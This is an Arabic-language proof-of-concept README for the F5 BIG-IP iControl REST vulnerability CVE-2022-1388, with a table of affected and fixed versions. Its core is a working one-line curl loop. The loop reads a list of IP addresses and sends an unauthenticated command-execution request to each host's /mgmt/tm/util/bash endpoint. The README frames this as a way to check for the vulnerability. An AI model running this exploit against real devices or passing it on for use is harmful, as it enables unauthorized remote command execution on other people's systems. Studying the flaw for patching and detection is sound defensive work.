
PoC لثغرة BIG-IP iControl REST CVE-2022-1388

قد تسمح هذه الثغرة لمهاجم غير مصادق لديه وصول إلى الشبكة في نظام BIG-IP عبر منفذ الإدارة و/أو عناوين IP الذاتية بتنفيذ أوامر نظام تعسفية، أو إنشاء ملفات أو حذفها، أو تعطيل الخدمات.
يمكنك استخدام أمر curl التالي في سطر واحد للتحقق من ثغرة F5 Big-IP أو استخدام سكربت بايثون المرفق.
cat ips.txt | while read ip; do curl -su admin -H "Content-Type: application/json" http://$ip/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}';done
| الفرع | الإصدارات المعرضة | الإصلاحات المقدمة |
|---|---|---|
| 11.x | 11.6.1-11.6.5 | لا يوجد إصلاح |
| 12.x | 12.1.0-12.1.6 | لا يوجد إصلاح |
| 13.x | 13.1.0-13.1.4 | 13.1.5 |
| 14.x | 14.1.0-14.1.4 | 14.1.4.6 |
| 15.x | 15.1.0-15.1.5 | 15.1.5.1 |
| 16.x | 16.1.0-16.1.2 | 16.1.2.2 |
| 17.x | لا يوجد | 17.0.0 |
لمزيد من المعلومات حول التخفيف، راجع المراجع.